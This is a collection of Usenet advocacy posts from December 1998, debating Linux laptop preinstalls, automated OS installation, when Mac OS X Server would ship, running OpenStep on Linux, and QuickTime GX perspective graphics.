Subject: Re: Linux preinstalled laptops?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F3F8qn.5qA@bilver.magicnet.netREMOVETHIS>
References: <7329lg$ot0$1@nnrp02.primenet.com> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net>
Date: Fri, 4 Dec 1998 03:37:35 GMT
In article <UXG#48vH#GA.210@pet.hiwaay.net>,
Nik Simpson <ndsimpso@ingr.com> wrote:
>
>Chris Welch wrote in message <3666F06F.86D69BAF@digiscape.com>...
>>Joe Rice wrote:
>>>
>>> Dell will preinstall linux for a price.
>>>
>>How ironic. Normally free linux costs more to have installed than
>>windows.
>
>Because Dell, like everyone else has totally automated routines for
>installing software like Windows. I suspect if the Linux community
>wants to have people like Dell preinstall without charging an arm
>and a leg they need to look at how to make automated installation
>real simple.
Since they have to pay MS a license for every computer sold,
whether it has MS products or not, and that all the big companies
use hardware cloning devices - that can create a great many hard
drive replicas at a time - in just a matter of minutes, installing
anything else - until it got to be a big enough item to clone
drives - is going to cost more.
The drive devices typically start with 1 master and 3 clones and go
up to so many you would not believe.
--
Bill Vermillion bv @ wjv.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 11:05:03 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C2100-6CE52@206.165.43.215>
References: <36666ab0$0$229@nntp1.ba.best.com>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>>3D. Now project it on a computer screen.
>
>Woah, hold it. You didn't say anything about projection. Your
>statement was essentially that all useful 3D operations to graphics
>result in 2D data, which is simply false.
>
>>What kind of data is the result?
>
>2D, of course.
>
>>Remember, no graphics operation is useful until it is displayed and by
>>then it is merely a 2D projection.
>
>Also false. There are a lot of uses for doing 3D transformations that
>do not result in 2D projections or any other direct output to display
>devices. A very simple example would be doing 3D collision detection
>in a game. At no point while doing the collision detection would you
>ever project the data down to 2D.
OK, I should have said "useful for 2D DTP work," where collision detection,
z-buffering, BSP stuff, etc., aren't useful.
We're talking about the usefulness of the 3x3 perspective transform WITHIN
the class of uses to which GX can be put out-of-the-box, not for uses that
make no sense for a 2D DTP system.
One of those uses, at least on PowerMacs (havent' tested it on Quadras or
LC III's) is scripted 2D games. The 3x3 perspective transform can allow for
a lot of cute effects without any (well, one or two lines) extra code. The
color/transfer-mode effects can allow some *really* nice 2D effects for
such games.
In case you hadn't noticed, most cross-platform 2D games appear to be
scripted or interpreted, so that means that for PPC's, at least, GX +
HyperCard can accomplish almost anything that you find in the standard 2D
strategy and adventure games such as Civilization, SpaceWard Ho!, and so
on. And, if I can turn GXFCN into an OSAX without too much trouble, one
could even script a [simple] 2D game using AppleScript and the Script
Editor.
The shape database of GX makes game-scripting quite easy, at least for
graphics, and the Tag object and some judicious scripting should allow one
to store arrays of pre-defined data for use in a game without increasing
HC's memory footprint since GX maintains its own memory heap external to
the application that uses it.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Peter Ammon <Peter_Ammon@rocketmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server and Yosemite connection
Date: Thu, 03 Dec 1998 20:23:12 +0000
Organization: University of California, Berkeley
Message-ID: <3666F330.FA29C5BD@rocketmail.com>
References: <744l0m$166$1@your.mother.com>
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
> In yet another attempt to understand Apple's strategy...
>
> Conspiracy theory 451: Apple is withholding MacOS X Server until
> Yosemite (code name for Apple's next high-end computer) is ready to
> ship.
>
> The idea is based on the fact that Apple tends to make more money by
> shipping computer systems than it does by shipping OSes (hence the ugly
> situation with cloners). By waiting until Yosemite is ready, Apple
> hopes many people waiting for OS X Server will also go ahead and buy the
> new computer system (with OS X Server installed) as well.
I'll buy that, perhaps. But I want to point out that most Macs will
probably be sold with the regular Mac OS until OS X comes out.
>
>
> Conspiracy theory 452 - this one is a stretch: Yosemite will come in
> both a PowerPC and an Intel version.
>
> This one is based on a note by Jacquis Lewis and posted at MacOS Rumors.
> Merced is Intel's next generation CPU, and we have read reports that
> Jobs has been interested in Merced in the past. Merced is also a town
> in central California which is known as the "Gateway to Yosemite", and
> MacOS X Server will run on both PowerPC and Intel. So just maybe...
Won't Merced come out much, much later than Yosemite, given that Yosemite
is supposed to come out in February?
>
>
> http://www.yosemite-gateway.org/
>
> Cheers,
>
> Todd
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 3 Dec 1998 09:51:08 -0800
Organization: Net Squared, Inc.
Message-ID: <746k9u$820$2@your.mother.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
Maury Markowitz wrote in message ...
> The real question is why you'd want Linux as opposed to Mach/BSD.
To run OpenStep applications on Intel boxes. Since Apple hasn't
committed to an Intel release beyond the first MacOS X Server release,
an OpenStep/Linux/Intel solution (or an OpenStep/FreeBSD/Intel,
OpenStep/NetBSD/Intel, OpenStep/OpenBSD/Intel, (did I miss any?)) might
be an attractive approach for Apple.
Todd
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 03 Dec 1998 22:34:50 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3667666A.A1310D9B@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> It doesn't. But it gives a reason why such a port may very well not be
> useful.
>
> Yeah, yeah, I know all the Linux geeks are convinced that it's the fastest,
> bestest OS ever, but without native kernel support of Mach messaging, you get
> slowdowns because the upper levels expect better IPC than most systems
> provide. That's a major reason why OPENSTEP/Mach runs faster than
> OPENSTEP/Enterprise (or WOF) on NT, on the same Intel box.
Fine, but I still don't get your point. Is YB on NT "useful"?
[cut]
> > Therefore it's hardly a huge obstacle that YB requires Mach.
>
> YB does not require Mach. That's why YB runs on NT, Solaris, etc.
> MacOS X Server requires Mach. The two aren't identical, any more than Debian
> Linux is identical to the system call API's comprising BSD 4.4.
According to your previous statement, YB may require Mach in order to be
"useful". The above is just mincing words. I've already pointed out that
Linux can run as a user-mode Mach task, and it seems to work just fine.
What, exactly, is the problem with porting YB to MkLinux?
[cut]
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 04:35:56 GMT
Organization: Digital Fix Development
Message-ID: <747orc$eao$1@news.digifix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com>
In-Reply-To: <3666F2F5.11E9@aol.com>
On 12/03/98, peasley wrote:
>Maury Markowitz wrote:
>
>> The flaw, as I see it, with this line of reasoning is that Apple
seems to
>> have killed the PC version simply because they don't want a PC
version. I
>> don't see how basing it on a 3rd party kernel would make this any
more
>> attractive to them. This wasn't a technology issue (luckily!) but
a
>> political one. BTW, I don't like it either, don't get me wrong.
>>
>> Maury
>
>Here's some idle speculation:
>
>YOu know I have always wondered if this isn't a case where Apple
"knifed
>the baby" to keep MS happy.
>
If this was the case, Avie would have said so in the trial.
There doesn't seem to have been much held back by Apple as far
as the MS/DOJ trial goes.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 04:38:19 GMT
Organization: Digital Fix Development
Message-ID: <747ovr$eap$1@news.digifix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com>
In-Reply-To: <7471vr$75k$1@nnrp03.primenet.com>
On 12/03/98, John Jensen wrote:
>Charles Swiger <chuck@codefab.com> wrote:
>: somebody@yaahoo.com wrote:
>: > http://www.macintouch.com/ says that OSX is going to be out by
Jan.
>: >
>: > Is that possible?
>
>: Yes. The delay has largely been due to licensing/royalty issues and
>: figuring out when and how to market the product, and not because
Apple
>: didn't have the technology to the point where they could ship it.
>
>I hope these reasons are not valid, because they amount to an
"ineptitude
>defense":
>
>Apple has had two years to resolve licensing and royalty issues.
>
This assumes that the party that they have to resolve them
with wishes them to be resolved. Adobe seems intent on killing DPS
and PS quickly and without regard for any collateral kill damage.
>Apple has had two years in total to consider how to position NeXT
>technologies, and I believe they've had a year since they announced a
>"server" positioning for Rhapsody.
>
May 1998.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<746k9u$820$2@your.mother.com>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 18:56:31 GMT
In <746k9u$820$2@your.mother.com> "Todd Heberlein (todd at NetSQ dot com)"
wrote:
> > The real question is why you'd want Linux as opposed to Mach/BSD.
>
> To run OpenStep applications on Intel boxes.
Then why not just get them to release the Intel version? Re-writing the
system to use an alternate kernel to get something the current kernel
already has been doing for years strikes me as the wrong solution to the
problem.
As to other potential issues, speed is not an issue, the NetBSD garnered
code apparently compiles the VAST majority of Linux code, and there are
many network computing aspects to Mach that Linux can't touch. Linux is
good, and Linux is fast, but Linix is neither good enough or fast enough to
warrant a change in my books.
> Since Apple hasn't
> committed to an Intel release beyond the first MacOS X Server release,
The flaw, as I see it, with this line of reasoning is that Apple seems to
have killed the PC version simply because they don't want a PC version. I
don't see how basing it on a 3rd party kernel would make this any more
attractive to them. This wasn't a technology issue (luckily!) but a
political one. BTW, I don't like it either, don't get me wrong.
Maury
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: timlee@netcom.com.DELETE-THIS.BIT (Timothy J. Lee)
Subject: Automated install and laptop with no OS? Re: Linux preinstalled laptops?
Message-ID: <timleeF3FELw.LB6@netcom.com>
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Sender: timlee@netcom16.netcom.com
References: <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net>
Date: Fri, 4 Dec 1998 05:44:19 GMT
"Nik Simpson" <ndsimpso@ingr.com> writes:
|Because Dell, like everyone else has totally automated routines for
|installing software like Windows. I suspect if the Linux community wants to
|have people like Dell preinstall without charging an arm and a leg they need
|to look at how to make automated installation real simple.
Well, how do you automatically install Microsoft Windows? It sure
doesn't look very obvious how one can avoid babysitting the install
process where one has to click lots of buttons through the whole
thing. At least Red Hat, SuSE, and perhaps others are moving in
the direction of automated install (e.g. Red Hat kickstart).
A better question is, why doesn't anyone offer a discount for deleting
the Microsoft software from a laptop? Not everyone wants it (and that
includes some Microsoft software users, who may have bought licenses
that they have not used, or want to use a different version of the
software, or have a special license from MSDN or whatever that allows
them to install a piece of Microsoft software without extra charge).
--
------------------------------------------------------------------------
Timothy J. Lee timlee@
Unsolicited bulk or commercial email is not welcome. netcom.com
No warranty of any kind is provided with this message.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 05:49:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <747t4c$hj7$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com>
Scott Anguish <sanguish@digifix.com> wrote:
: On 12/03/98, John Jensen wrote:
: >Charles Swiger <chuck@codefab.com> wrote:
: >: The [OSXS] delay has largely been due to licensing/royalty issues and
: >: figuring out when and how to market the product, and not because
: >: Apple didn't have the technology to the point where they could ship
: >: it.
: >I hope these reasons are not valid, because they amount to an
: >"ineptitude defense":
: >Apple has had two years to resolve licensing and royalty issues.
: This assumes that the party that they have to resolve them
: with wishes them to be resolved. Adobe seems intent on killing DPS
: and PS quickly and without regard for any collateral kill damage.
In which case the ineptitude occured at the time of the NeXT purchase,
when Apple bought an OS burdened with an unworkable license.
It would also mean that MacOS X Server is in big trouble.
John
From: mazulauf@localhost.localdomain ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 05:55:26 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn76eufr.11t.mazulauf@grumpy.met.utah.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746l79$3ls$1@murdoch.acc.Virginia.EDU> <5PB92.2485$CY1.9921564@news.itd.umich.edu> <F3Eqs1.IAv@T-FCN.Net> <F3F0Es.tz@T-FCN.Net>
NNTP-Posting-Date: 4 Dec 1998 05:55:26 GMT
To: mazulauf@atmos.met.utah.edu
On Fri, 4 Dec 1998 00:37:38 GMT, Maury Markowitz <maury@remove_this.istar.ca>
wrote:
>In <F3Eqs1.IAv@T-FCN.Net> Maury Markowitz wrote:
>> In <5PB92.2485$CY1.9921564@news.itd.umich.edu> "Jin Kim" wrote:
>> > ><http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
>>
>> Does anyone else have a source for this pdf? I get a stellar 200bps
>> before it finally dies.
>
> Well wget fetched it (as it does...) but no I can't open it. Ok, does
>anyone have this in some other format, like HTML?
If you go to the directory just above, you can download it in other formats
(ps and dvi I believe). I grabbed the dvi version (it's also _quite_ a bit
smaller).
I think it's at:
http://www.cs.nmt.edu/~cort/papers/linuxppc-mm
I haven't read it really, but on skimming it it looks like the speedups
they've mentioned are only on a very specific benchmark. I'd like to
see how that translates into the real world.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Thu, 03 Dec 1998 19:16:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <746o1f$dnt$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net>
In article <3666263B.5551@earthlink.net>,
skellener@earthlink.net wrote:
> The [NEXTSTEP] "Color Wheel" is a million times better than the Mac one.
>
Agreed (to the extent that I wrote a Stepwise article about it!), and I even
suspect there's a feature in it you didn't know -- I'd be interested to know
if you did... what happens if you hold down the Shift key whilst mousing in
the colour wheel itself?
Best wishes,
mmalc.
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From: timlee@netcom.com.DELETE-THIS.BIT (Timothy J. Lee)
Subject: Automated Microsoft OS installs Re: Linux preinstalled laptops?
Message-ID: <timleeF3FF3u.M06@netcom.com>
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Sender: timlee@netcom16.netcom.com
References: <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Dm#EkcwH#GA.195@pet.hiwaay.net>
Date: Fri, 4 Dec 1998 05:55:05 GMT
"Nik Simpson" <ndsimpso@ingr.com> writes:
|I can't speak for LINUX, but Microsoft provides a software toolkit for OEMs
|that allows them to totally customize the installation procedure and do all
|sorts of things.
Why isn't this included with Microsoft OSes, or advertised as an
option to the general public? Sun's Solaris comes with Jumpstart
to automate Solaris installations; I understand that some Linux
vendors are developing similar tools to be included with their
distributions.
Surely there must be some organizations that would like to be able
to do a scripted, automated installation with configurations that
match their networks, with automatic software installs to match
the needs of their users, etc.? As it is, most end up doing all of
the install and configuration work manually (even if the computers
are preinstalled, site configuration and additional software still
needs to be added -- and the popular InstallShield installs don't
seem to be too friendly to being put in a batch file), or using
disk cloning methods.
--
------------------------------------------------------------------------
Timothy J. Lee timlee@
Unsolicited bulk or commercial email is not welcome. netcom.com
No warranty of any kind is provided with this message.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 3 Dec 1998 22:05:47 GMT
Organization: Primenet (602)416-7000
Message-ID: <7471vr$75k$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com>
Charles Swiger <chuck@codefab.com> wrote:
: somebody@yaahoo.com wrote:
: > http://www.macintouch.com/ says that OSX is going to be out by Jan.
: >
: > Is that possible?
: Yes. The delay has largely been due to licensing/royalty issues and
: figuring out when and how to market the product, and not because Apple
: didn't have the technology to the point where they could ship it.
I hope these reasons are not valid, because they amount to an "ineptitude
defense":
Apple has had two years to resolve licensing and royalty issues.
Apple has had two years in total to consider how to position NeXT
technologies, and I believe they've had a year since they announced a
"server" positioning for Rhapsody.
If Apple doesn't know the answers to these issues, they are hopeless.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 15:08:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C59EA-5F903@206.165.43.2>
References: <746ta9$ic2$1@nnrp1.dejanews.com>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
>In article <B28C13F2-3BD09@206.165.43.215>,
> "Lawson English" <english@primenet.com> wrote:
>> Since GX's text-shapes don't handle more than one line of text at a
>> time, you can't use the transform object's own matrix to handle the
>> editable starwars effect, so you must devise a block-text editor, and
>> apply the 3D perspective to the viewport that the text is being drawn
>> into, instead. This works fine because GX mousetracking automatically
>> compensates for a viewport's transform. If nested viewports are,
>> involved you gotta concatenate the viewports' matrices and work from
>> global mouse coordinates instead.
>>
>
>Y'know, all this looks complicated to me. I thought you said it was
*easy*?
>To give an example of what I'd call *easy*: I've never done any 3D math or
>suchlike, yet *from scratch* (i.e. first reading the documentation) I was
>able to put together an application which showed a stereo pair of views
>looking at a scene (a rotatable etc 3D object) lit by an ambient light and
a
>spotlight whose XYZ position and colour could be adjusted, and the whole
>thing rendered in true 3D using wireframe or full render... within 6
hours.
>It was about 100 lines of code. I hope Apple make QTML as accessible as
>RenderMan was in NeXT's 3DKit...
GX is a bit lower-level than the various 'Kits, in this respect. However,
you didn't try to rotate the stereo pair of views in 3D, did you? (why you
would do this, I couldnt' say, but that would be the equivalent of having
nested viewport perspective transforms to worry about). One could create a
framework wrapper around GX that would work just as well as the 'Kits in
OpenStep, but Apple never did it and neither did anyone else that I have
heard of for a 3D user interface framework.
More's the pity, because there's some user-interface issues that need to be
resolved for nested 3D perspective views that I don't think anyone has ever
dealt with so Apple, if they "do the right thing" and make a 3D version of
the YB that makes full use of the 4x?? matrix, will be on its own in
figuring out how to make it easy for both the programmer and end-user to
work with.
-Maybe XEROX PARC did this for their 3D user-interface research?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 14:55:28 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28CDDB7-71E1@206.165.43.124>
References: <MJB92.25220$aF1.71629@typhoon-sf.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
William Edward Woody <woody@alumni.caltech.edu> said:
>> ... Unfortunately the u and v terms do not behave in a
>>particularly useful way to someone trying to use them to represent 3D
>>rotations. The GX example code (the bitmap example) basically figures
>>out what the u and v (and other gxMapping) values should be based on
>>what the resulting polygon is, not the other way around. Of course,
>>that does make it easier to just drag around the corners of a polygon
>>and the mapping code will just make things work for you. On the other
>>hand, it lets you drag the corners around into an "impossible"
>>perspective mapping as well.
>
>Just because the GX example code figures out the GX 3x3 transformation
>matrix based on what the resulting polygon should be does't mean that
>you can't calculate the terms of the 3x3 matrix differently.
I believe that the sample code he's talking about uses the general
quadrilateral-to-quadrilateral mapping library, rather than dealing with
the 3x3 matrix directly. Modifying the u&v parameters in the 3x3 matrix
example in the QuickTime Tools stack of HC 2.4 doesn't give one terribly
intuitive results, either. If I can ever grok the CameraLibrary, I'll throw
a simple camera-tracking utility into GXFCN. If I can, I'll create a
separate X-thang that will allow one to use the Camera Library with HC 2.4
movies without having to have GX loaded, just for the heck of it. The
quad-to-quad library might be useful, also.
[...]
>>In any case, GX's renderer is still not really aware of real 3D
>>perspective. If it was then it would also get everything else right
>>when doing it's perspective operation, but currently it doesn't as Mike
>>Paquette pointed out.
>Haven't seen his note. Bet he didn't do the algaebra.
I believe that Mike Paquette's article was talking about doing more 3D-ish
things than just simple perspective, but to be honest, for most people, the
3x3 matrix is all that they'll ever need in a 2D DTP system. Certainly, the
descriptions of the K2 project demo-app from Adobe sounds very 3x3-ish with
a *working* CameraLibrary <sigh>.
Ideally, I should just be able to track the mouse and use the relative
motion to set the camera angle, just as the most recent Adobe/Macromedia
products do when handling perspective for NON-editable text and graphics.
A lot of people are ignoring a very important issue when I talk about
GXFCN. They think "HyperTalk? Who uses it?" [and miss the fact that more
than 1/2 of the schools in the USA use it]. Instead, they should be asking
themselves: "If Lawson can get it working in HC, can he get it working in
AppleScript?"
THAT is where GXFCN will really shine. Imagine being able to script and/or
graphically manipulate 2D DTP-quality graphics from within any application
that can attach/edit/evoke AppleScript scripts. Kinda a poor man's OpenDoc
for 2D graphics.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Thu, 03 Dec 1998 22:24:22 GMT
Organization: ICX Online, Inc.
Message-ID: <36670efb.29039073@news.icx.net>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com> <365F4D4C.A50120E4@home.com>
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NNTP-Posting-Date: 3 Dec 1998 22:25:03 GMT
Chris Van Buskirk <cvbuskirk@home.com> wrote:
>There's the beos....it works...it ships...and there's no[...]
Interface Builder.
---
Michael McCulloch
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 07:17:32 GMT
Organization: Digital Fix Development
Message-ID: <7482ac$hgm$1@news.digifix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
In-Reply-To: <747t4c$hj7$1@nnrp03.primenet.com>
On 12/03/98, John Jensen wrote:
>Scott Anguish <sanguish@digifix.com> wrote:
>: On 12/03/98, John Jensen wrote:
>: >Charles Swiger <chuck@codefab.com> wrote:
>
>: >: The [OSXS] delay has largely been due to licensing/royalty
issues and
>: >: figuring out when and how to market the product, and not because
>: >: Apple didn't have the technology to the point where they could
ship
>: >: it.
>
>: >I hope these reasons are not valid, because they amount to an
>: >"ineptitude defense":
>
>: >Apple has had two years to resolve licensing and royalty issues.
>
>: This assumes that the party that they have to resolve them
>: with wishes them to be resolved. Adobe seems intent on killing DPS
>: and PS quickly and without regard for any collateral kill damage.
>
>In which case the ineptitude occured at the time of the NeXT
purchase,
>when Apple bought an OS burdened with an unworkable license.
>
It doesn't appear that the license was a serious issue until
long after the sale....
>It would also mean that MacOS X Server is in big trouble.
Not really. Apparently the current license issues have been
pretty much resolved, and Mac OS X rids us of this noose. Future
versions of Mac OS X Server would likely be just additional features
on top of Mac OS X anyways (i.e. bundling of Unix tools, remote admin
etc..)
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Fri, 04 Dec 1998 08:09:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7485c1$jrp$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net> <742247$efi$1@nnrp1.dejanews.com> <3666263B.5551@earthlink.net> <746o1f$dnt$1@nnrp1.dejanews.com>
In article <746o1f$dnt$1@nnrp1.dejanews.com>,
malcolm@plsys.co.uk wrote:
> In article <3666263B.5551@earthlink.net>,
> skellener@earthlink.net wrote:
> > The [NEXTSTEP] "Color Wheel" is a million times better than the Mac one.
> >
>
> Agreed (to the extent that I wrote a Stepwise article about it!), and I even
> suspect there's a feature in it you didn't know -- I'd be interested to know
> if you did... what happens if you hold down the Shift key whilst mousing in
> the colour wheel itself?
Just wondering - the thing about the Mac OS colour picker I find most usefull
is the "html" picker which can snap to browser safe colours - quite
conveniant for creating icons for websites.
Does the NeXT colour wheel have this ability? (I would hope so)
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy
From: lparkyn@prosoft.com (Lyle Parkyn)
Subject: WO4 Announcement - NT Only Dev. Environment
Message-ID: <F3FF18.JBJ@prosoft.com>
Sender: lparkyn@prosoft.com (Lyle Parkyn)
Organization: ProSoft Solutions Inc. (RDS Site)
Date: Fri, 4 Dec 1998 05:53:32 GMT
Did anyone else notice that the only development environment for WO4 is on
WinNT?
Hopefully, this is temporary until MacOS X comes out.
--
Lyle Parkyn
ProSoft Solutions Inc. (http://www.prosoft.com)
lparkyn@prosoft.com (NeXTmail, text or MIME formats welcome)
Bus:(604)324-3311 Fax:(604)538-7694
From: "Mark Eaton" <markeaton@mindspring.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Thu, 03 Dec 1998 23:03:13 -0800
Organization: MindSpring Enterprises
Message-ID: <7481fj$31u$1@camel18.mindspring.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att.
net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com>
<slrn76ef73.t57.mark@ns1.oaai.com>
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In article <slrn76ef73.t57.mark@ns1.oaai.com> , mark@ns1.oaai.com (Mark
Onyschuk) wrote:
>
>Amen to that. And just like any other 3DKit view you got printing for free,
>you got the ability to distribute the photorealistic render task across
>all available CPUs on the net for free, you got to co-mingle 3D and 2D
>graphics transparently, etc. etc.
>
>You want 3D -- *That's* 3D! All of these behaviours were yours with
>zero-lines of code required!
>
>*This* is the kind of framework that brings "whole new classes of
>applications" to OSX. All this GX noise is just so droll.
>
I may be missing something here, but if it is/was so great where are all the
ground breaking applications? YellowBox reminds me of the Fermi Paradox:
where are they? After all these years, people still get glaze-eyed and
whisper 'if you build it they will come'. I'm sure there are a million tired
old excuses about how screwed up NeXT's pricing was, how stupid the industry
is, etc. But at this point I question that all it takes is another
version...
-mark
From: "Lawson English" <english@primenet.com>
